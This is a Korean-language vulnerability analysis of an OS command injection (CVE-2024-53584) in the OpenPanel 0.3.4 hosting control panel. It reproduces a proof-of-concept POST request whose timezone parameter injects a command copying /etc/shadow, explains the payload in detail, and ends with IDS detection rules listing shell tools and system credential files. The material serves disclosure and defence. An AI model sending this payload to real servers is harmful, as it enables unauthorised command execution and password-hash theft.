OpenPanel 이란?
OpenPanel은 리눅스 기반 서버를 관리할 수 있도록 설계된 오픈소스 웹 호스팅 제어판
취약점 설명
OpenPanel 0.3.4의 /server/timezone 경로의 시간을 설정하는 기능에서 timezone 파라미터 내 입력 값을 처리하는 과정에서 입력 값이 쉘 명령어로 직접 전달되는 경우가 존재
공격자는 이 파라미터에 세미콜론(;)과 같은 명령 구분자를 사용하여 추가적인 악성 명령어를 삽입할 수 있으며, 이는 서버 시스템에서 임의의 명령어를 실행할 수 있음
취약점 분석
아래 PoC는 OpenPanel 0.3.4에서 OS Command Injection 취약점을 악용하는 HTTP POST 요청의 예시
# Exploit Title: OpenPanel 0.3.4 - OS Command Injection
# Date: Nov 25, 2024
# Exploit Author: Korn Chaisuwan, Punthat Siriwan, Pongtorn Angsuchotmetee
# Vendor Homepage: https://openpanel.com/
# Software Link: https://openpanel.com/
# Version: 0.3.4
# Tested on: macOS
# CVE : CVE-2024-53584
POST /server/timezone HTTP/2
Host: demo.openpanel.org:2083
Cookie: minimenu=0; session=eyJfZnJlc2giOmZhbHNlLCJ1c2VyX2lkIjozfQ.ZyyaKQ.HijWQTQ_I0yftDYEqqqqRR_FuRU; theme=dark
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.openpanel.org:2083/server/timezone
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Origin: https://demo.openpanel.org:2083
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
timezone=;cat+/etc/shadow+>+/home/stefan/secret.txt
1. 취약한 timezone 파라미터
- OpenPanel 0.3.4는 server/timezone 경로를 통해 서버의 시간대를 설정하는 기능을 제공
- 이 기능은 클라이언트로부터 POST 요청으로 timezone이라는 파라미터를 받음
- 서버 측 코드에서 timezone 파라미터의 값을 시스템 명령어의 일부로 직접 사용하면서 사용자 입력에 대한 적절한 검증이나 필터링이 이루어 지지 않아 발생
2. OS Command Injection 원리
- UNIX/LINUX 계열 시스템에서 쉘 명령어들은 세미콜론(;), 파이프( |, || ), 앰퍼샌드( &, && ) 와 같은 문자를 사용하여 여러 명령어를 연결하거나 명령의 출력을 다른 명령의 입력으로 사용할 수 있음
- 공격자는 취약한 timezone 파라미터에 세미콜론(;), 파이프( |, || ), 앰퍼샌드( &, && ) 와 같은 문자를 삽입하고 이어서 실행하고자 하는 악성 명령어를 추가할 수 있음
- timezone=;cat+/etc/shadow+>/home/stefan/secret.txt 와 같은 입력이 서버에 전달되면, 서버는 이를 timedatectl set-timezone ;cat /etc/shadow > /home/stefan/secret.txt와 같은 형태로 해석하여 실행할 수 있음
3. 공격 단계
- 악성 페이로드 생성: 공격자는 시스템 명령어 실행이 가능한 페이로드를 생성, PoC에서는 cat /etc/shadow > /home/stefan/secret.txt 명령어를 사용하여 /etc/shadow 파일의 내용을 /home/stefan/secret.txt 파일로 복사하는 것을 목표로 함
- POST 요청 전송: 공격자는 OpenPanel의 /server/timezone 경로로 조작된 timezone 파라미터를 포함하는 POST 요청을 전송
- 명령어 실행 및 결과: 서버는 timezone 파라미터 내의 삽입된 명령어를 실행. /etc/shadow 파일의 내용이 secret.txt 로 복사되고, 공격자는 다른 방법을 통해 secret.txt 파일에 접근하거나 다른 명령어를 통해 추가적인 공격을 수행할 수 있음
4. 시스템 명령어가 실행되는 페이로드
timezone=;cat+/etc/shadow+>+/home/stefan/secret.txt
1) tiemzone= : 시간대를 설정하는 파라미터
2) ; : 여러 명령어를 한 줄에 나열하여 순차적으로 실행. 각 명령어는 독립적으로 실행되며, 앞 명령어의 성공 여부와 관계없이 다음 명령어가 실행됨
3) cat+/etc/shadow+>+/home/stefan/secret.txt : 공격자가 실행하고자 하는 악성 명령어
3-1) cat /etc/shadow : 시스템의 /etc/shadow 파일 내용을 출력. 이 파일은 사용자 계정의 암호화된 비밀번호와 관련된 정보를 저장하는 파일
3-2) >: 표준 출력(stdout)을 파일로 리다이렉션(파일에 저장)
3-3) /home/stefan/secret.txt : cat /etc/shadow 명령의 출력이 저장될 파일 경로
5. 결과
위 PoC 코드 성공 시 공격 대상 서버의 /home/stefan/secret.txt 파일에 /etc/shadow 파일의 내용이 복사되며, 공격자는 이후 이 파일을 다른 취약점을 통해 다운로드하거나, 후속 공격을 위한 정보를 얻는 데 사용할 수 있음.
이는 서버의 민감한 정보 유출로 이어질 수 있으며, 더 나아가 시스템 변조 및 제어로 발전할 수 있음.
6. 영향 받는 버전
취약 버전: 0.3.4
완화 버전: 0.3.5
탐지 패턴 예시
아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 변경될 수 있으며, 장비 부하에 관계없이 다양한 패턴을 탐지하기 위해 제작함.
1. OS Command Injection 탐지
alert tcp any any -> $HOME_NET any (
msg:"OpenPanel - OS Command Injection(CVE-2024-53584)";
flow:to_server,established;
http_method; content:"POST";
http_uri; content:"/server/timezone"; nocase;
http_client_body; content:"timezone="; nocase;
pcre:"/timezone\s*=\s*.*(\|\||\&\&|\||\&|\;)\s*(curl|wget|nc|python|perl|bash|cat|whoami|id|ls|rm|touch|chmod|chown|ping|echo|netstat|uname|hostname|find|grep|ln|shutdown|reboot|ps|top|df|mount|ifconfig|ip\s+a)/i";
classtype:web-application-attack;
sid:20250617; rev:1;
)
|
2. etc/ 디렉터리 내 중요 파일 접근 탐지
alert tcp any any -> $HOME_NET any (
msg:"OpenPanel - OS Command Injection(CVE-2024-53584) - etc Directory Access";
flow:to_server,established;
http_method; content:"POST";
http_uri; content:"/server/timezone"; nocase;
http_client_body; content:"timezone="; nocase;
pcre:"/timezone\s*=\s*.*(?:\/|%2f)+etc(?:\/|%2f)+(passwd|shadow|group|hosts|resolv\.conf|hostname|crontab)/i";
classtype:web-application-attack;
sid:20250618; rev:1;
)
|
참고